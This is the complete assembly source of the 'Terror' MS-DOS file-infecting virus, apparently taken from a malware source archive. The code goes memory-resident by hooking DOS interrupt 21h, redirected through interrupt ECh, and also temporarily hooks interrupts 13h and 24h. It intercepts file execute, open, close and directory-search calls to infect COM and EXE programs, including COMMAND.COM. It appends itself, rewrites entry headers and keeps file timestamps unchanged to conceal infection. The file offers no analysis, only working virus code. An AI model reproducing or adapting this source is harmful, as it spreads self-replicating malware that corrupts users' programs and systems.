MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.terror.asm

;**********************************************
;            Terror Virus
;**********************************************

Code            Segment
		Assume  CS:Code
		Org     100h
		
Start:          jmp     short Begin

Table310        dw      12E4h,09ABh
Table320        dw      138Dh,17D0h
Table330        dw      1460h,0F7Ah

FileBytes       dw      12 dup (9090h)

ComSpec         db      'A:\COMMAND.COM',0

CheckEXE:       cmp     cs:FileBytes,4D5Ah
		je      IsEXE
		cmp     cs:FileBytes,5A4Dh
IsEXE:          ret

Begin:          mov     word ptr cs:PSPSeg,ds
		push    ax
		mov     ax,0EC59h
		int     21h
		cmp     bp,ax
		jnz     Install
		push    cs
		pop     ds
StartFile:      pop     ax
		mov     es,word ptr cs:PSPSeg
		call    CheckEXE
		je      ExeFileStart
		mov     cx,13
		mov     si,offset FileBytes
		push    es
		mov     di,100h
		push    di
	rep     movsb
		push    es
		pop     ds
		retf
ExeFileStart:   mov     si,es
		add     si,10h
		add     cs:FileBytes [16h],si
		add     si,cs:FileBytes [0Eh]
		mov     di,cs:FileBytes [10h]
		push    es
		pop     ds
		cli
		mov     ss,si
		mov     sp,di
		sti
		jmp     dword ptr cs:FileBytes [14h]

Install:        mov     ah,30h
		int     21h
		mov     bx,offset Table310
		cmp     ax,0A03h
		jne     Not310
		mov     ax,0070h
		mov     bx,0D43h
		mov     es,ax
		cmp     byte ptr es:[bx],2Eh    ; CS prefix
		jne     SetVectors
		mov     ax,bx
		jmp     short SetV1
Not310:         add     bx,4
		cmp     ax,1403h
		je      SetVectors
		add     bx,4
		cmp     ax,1E03h
		je      SetVectors
		mov     ax,3513h
		int     21h
		mov     word ptr cs:True13,    bx
		mov     word ptr cs:True13 + 2,es
		mov     ax,3521h
		mov     dx,bx
		jmp     short Set21
SetVectors:     mov     ax,word ptr cs:[bx+2]
SetV1:          mov     dx,word ptr cs:[bx]
		mov     word ptr cs:True13,ax
		mov     word ptr cs:True13 + 2,0070h
		mov     ah,34h
		int     21h
Set21:          push    es
		pop     ds
		mov     ax,25ECh
		int     21h
		mov     ax,word ptr cs:PSPSeg
		mov     es,ax
		dec     ax
		mov     ds,ax
		mov     bx,word ptr ds:[3]
		sub     bx,101
		add     ax,bx
		mov     word ptr es:[0002h],ax  ; Setup PSP memory size.
						; Command.COM needs that
						; action; else the system
						; hangs.
		mov     ah,4Ah
		int     0ECh
		mov     bx,100
		mov     ah,48h
		int     0ECh
		sub     ax,10h
		mov     es,ax
		mov     byte ptr ds:[0000h],5Ah ; This is the last block,
						; don't you think so?
		push    cs
		pop     ds
		mov     si,100h
		mov     di,si
		mov     cx,MovedSize
	rep     movsb
		mov     di,offset Continue
		push    es
		push    di
		retf

Continue:       mov     word ptr es:[0F1h],0070h
		mov     ax,3521h
		int     0ECh
		mov     word ptr cs:Saved21,    bx
		mov     word ptr cs:Saved21 + 2,es 
		mov     ah,25h
		mov     dx,offset Int21
		push    cs
		pop     ds
		int     0ECh
		push    cs
		pop     es
		mov     di,offset Handles
		mov     cx,25
		mov     al,0
	rep     stosb
		jmp     StartFile

Respond:        mov     bp,ax
		iret

Int21:          cmp     ax,0EC59h
		je      Respond
		cmp     ax,4B00h
		je      Exec
		cmp     ah,3Dh
		je      Open
		cmp     ah,3Eh
		je      Close
		cmp     ah,11h
		jne     End21
		push    di
		mov     di,dx
		cmp     byte ptr ds:[di+6],08   ; Volume ID attributes
		je      Find1st
EndF1st:        pop     di
End21:          db      0EAh
Saved21         dd      ?
Exec:           call    InfectName
		jmp     End21
OpenEnd:        pop     cx
		jmp     End21
Open:           push    cx
		call    GetAttr
		jc      OpenEnd
		cmp     cx,20h
		pop     cx
		jne     End21
		mov     al,2
		pushf
		call    dword ptr cs:Saved21
		jc      Err21
		push    ax
		push    bx
		mov     bx,ax
		mov     al,byte ptr cs:Command?
		mov     byte ptr cs:Handles [bx],al
		pop     bx
		pop     ax
Err21:          retf    2
Close:          cmp     byte ptr cs:Handles [bx],0
		jz      End21
		push    ax
		mov     al,byte ptr cs:Handles [bx]
		mov     byte ptr cs:Command?,al
		mov     byte ptr cs:Handles [bx],0
		mov     ah,45h
		int     0ECh
		mov     word ptr cs:TempHandle,ax
		pop     ax
		jc      End21
		pushf
		call    dword ptr cs:Saved21
		jc      Err21
		push    bx
		mov     bx,word ptr cs:TempHandle
		push    ds
		call    SetV
		call    InfectHandle
		call    Restore
		pop     ds
		pop     bx
		clc
		retf    2
Find1st:        push    ax
		push    dx
		push    ds
		mov     al,byte ptr ds:[di+7]
		mov     dx,offset Comspec
		or      al,al
		jz      CurrentDrive
		add     al,'A'-1
		mov     byte ptr cs:Comspec,al
		jmp     short Infect1st
CurrentDrive:   add     dx,2
Infect1st:      push    cs
		pop     ds
		call    InfectName
		pop     ds
		pop     dx
		pop     ax
		jmp     EndF1st

InfectName:     push    ax
		push    bx
		push    cx
		call    GetAttr
		jc      EndIN0
		push    cx
		push    ds
		call    SetV
		pop     ds
		mov     ax,4301h
		xor     cx,cx
		int     0ECh
		jc      EndIN1
		mov     ax,3D02h
		int     0ECh
		mov     bx,ax
EndIN1:         pop     cx
		jc      EndInfName
		call    InfectHandle
		mov     ax,4301h
		int     0ECh
EndInfName:     call    Restore
EndIN0:         pop     cx
		pop     bx
		pop     ax
		ret

SetV:           push    ax
		push    dx
		push    bx
		push    es
		mov     ax,3513h
		int     0ECh
		mov     word ptr cs:Old13,bx
		mov     word ptr cs:Old13+2,es
		mov     al,24h
		int     0ECh
		mov     word ptr cs:Old24,bx
		mov     word ptr cs:Old24+2,es
		pop     es
		pop     bx
		push    cs
		pop     ds
		mov     dx,offset Critical
		mov     ah,25h
		int     0ECh
		mov     dx,offset Int13
		mov     al,13h
		int     0ECh
		pop     dx
		pop     ax
		ret

InfectHandle:   push    ax
		push    cx
		push    dx
		push    si
		push    di
		push    ds
		mov     di,offset FileBytes
		mov     cx,0FFFFh
		mov     dx,-6
		mov     ax,4202h
		int     0ECh
		mov     ah,3Fh
		mov     cx,6
		push    cs
		pop     ds
		mov     dx,di
		int     0ECh
		jc      EndH1
		cmp     word ptr cs:[di],'eT'
		je      EndH1
		xor     cx,cx
		xor     dx,dx
		mov     ax,4200h
		int     0ECh
		mov     ah,3Fh
		mov     cx,24
		mov     dx,di
		int     0ECh
		jnc     ReadOk
EndH1:          jmp     EndInfHandle
ReadOk:         xor     cx,cx
		xor     dx,dx
		cmp     byte ptr cs:Command?,2
		jne     Seek
		cmp     word ptr ds:[di+1],4000h        ; Is there some
							; another virus
							; in the stack?
		ja      EndH1
		dec     cx
		mov     dx,-(VirusSize+64)
Seek:           mov     ax,4202h
Seek1:          int     0ECh
		test    ax,000Fh
		jz      SeekOk
		mov     cx,dx
		mov     dx,ax
		add     dx,10h
		and     dl,0F0h
		mov     ax,4200h
		jmp     Seek1
SeekOk:         call    CheckEXE
		je      SkipEXE
		or      dx,dx
		jnz     EndH1
		cmp     ax,1024
		jnb     MayBeGood?
		jmp     EndInfHandle
MayBeGood?:     cmp     ax,64000
		ja      EndInfHandle
SkipEXE:        mov     cl,4
		shr     ax,cl
		mov     si,ax
		mov     cl,12
		shl     dx,cl
		add     si,dx
		mov     ah,40h
		mov     dx,100h
		mov     cx,VirusSize
		int     0ECh
		jc      EndInfHandle
		call    CheckEXE
		jne     ComFile
		sub     si,10h
		sub     si,word ptr cs:[di+08h]
		mov     word ptr cs:[di+14h],100h
		mov     word ptr cs:[di+16h],si
		mov     word ptr cs:[di+10h],400h
		add     si,VirusSize / 16 + 1
		mov     word ptr cs:[di+0Eh],si
		mov     ax,4202h
		xor     cx,cx
		xor     dx,dx
		int     0ECh
		mov     cx,200h
		div     cx
		or      dx,dx
		jz      DontAdjust
		inc     ax
DontAdjust:     mov     word ptr cs:[di+02h],dx
		mov     word ptr cs:[di+04h],ax
		jmp     short Common
ComFile:        push    si
		push    di
		push    es
		push    cs
		pop     es
		mov     si,offset ComHeader
		mov     cx,11
	rep     movsb
		pop     es
		pop     di
		pop     ds:[di+11]
Common:         mov     ax,4200h
		xor     cx,cx
		xor     dx,dx
		int     0ECh
		mov     ah,40h
		mov     cx,24
		mov     dx,di
		int     0ECh
EndInfHandle:   mov     ax,5700h
		int     0ECh
		mov     al,1
		int     0ECh
		mov     ah,3Eh
		int     0ECh
		pop     ds
		pop     di
		pop     si
		pop     dx
		pop     cx
		pop     ax
		ret

Restore:        push    ax
		push    dx
		push    ds
		mov     ax,2513h
		mov     dx,word ptr cs:Old13
		mov     ds,word ptr cs:Old13+2
		int     0ECh
		mov     al,24h
		mov     dx,word ptr cs:Old24
		mov     ds,word ptr cs:Old24+2
		pop     ds
		pop     dx
		pop     ax
		ret

GetAttr:        push    ax
		push    es
		push    di
		push    bx
		mov     di,dx
		push    ds
		pop     es
		mov     al,0
		mov     cx,64
	repne   scasb
		mov     ax,word ptr ds:[di-3]
		mov     cx,word ptr ds:[di-5]
		and     ax,5F5Fh                ; Upcase extension
		and     ch,5Fh
		cmp     ax,'MO'
		jne     Exe?
		cmp     cx,'C.'
		je      CommandChk
ErrAttr:        stc
		jmp     short EndAttr
Exe?:           cmp     ax,'EX'
		jne     ErrAttr
		cmp     cx,'E.'
		jne     ErrAttr
CommandChk:     mov     cx,7
		mov     bx,-1
Loop0:          inc     bx
		mov     al,byte ptr ds:[bx+di-12]
		and     al,5Fh
		cmp     al,byte ptr cs:Comspec [bx+3]
		loope   Loop0
		mov     al,1
		jne     NoCommand
		mov     al,2
NoCommand:      mov     byte ptr cs:Command?,al
		mov     ax,4300h
		int     0ECh
EndAttr:        pop     bx
		pop     di
		pop     es
		pop     ax
		ret

Critical:       mov     al,3
		iret

Int13:          cmp     ah,3
		jz      Skip13
		db      0EAh    ; JMP Far
Old13           dd      ?
Skip13:         db      0EAh
True13          dd      ?

ComHeader       db      50h,8Ch,0C8h,01h,06h,0Bh,01h,58h,0EAh,00h,01h

Terror          db      ' Terror'

VirusEnd        label   byte

VirusSize       =       offset VirusEnd - offset Start

Old24           dd      ?

TempHandle      label   word
PSPSeg          dw      ?

MovedSize       =       $ - offset Start

Handles         db      25 dup (?)

Command?        db      ?

Code            EndS
		End     Start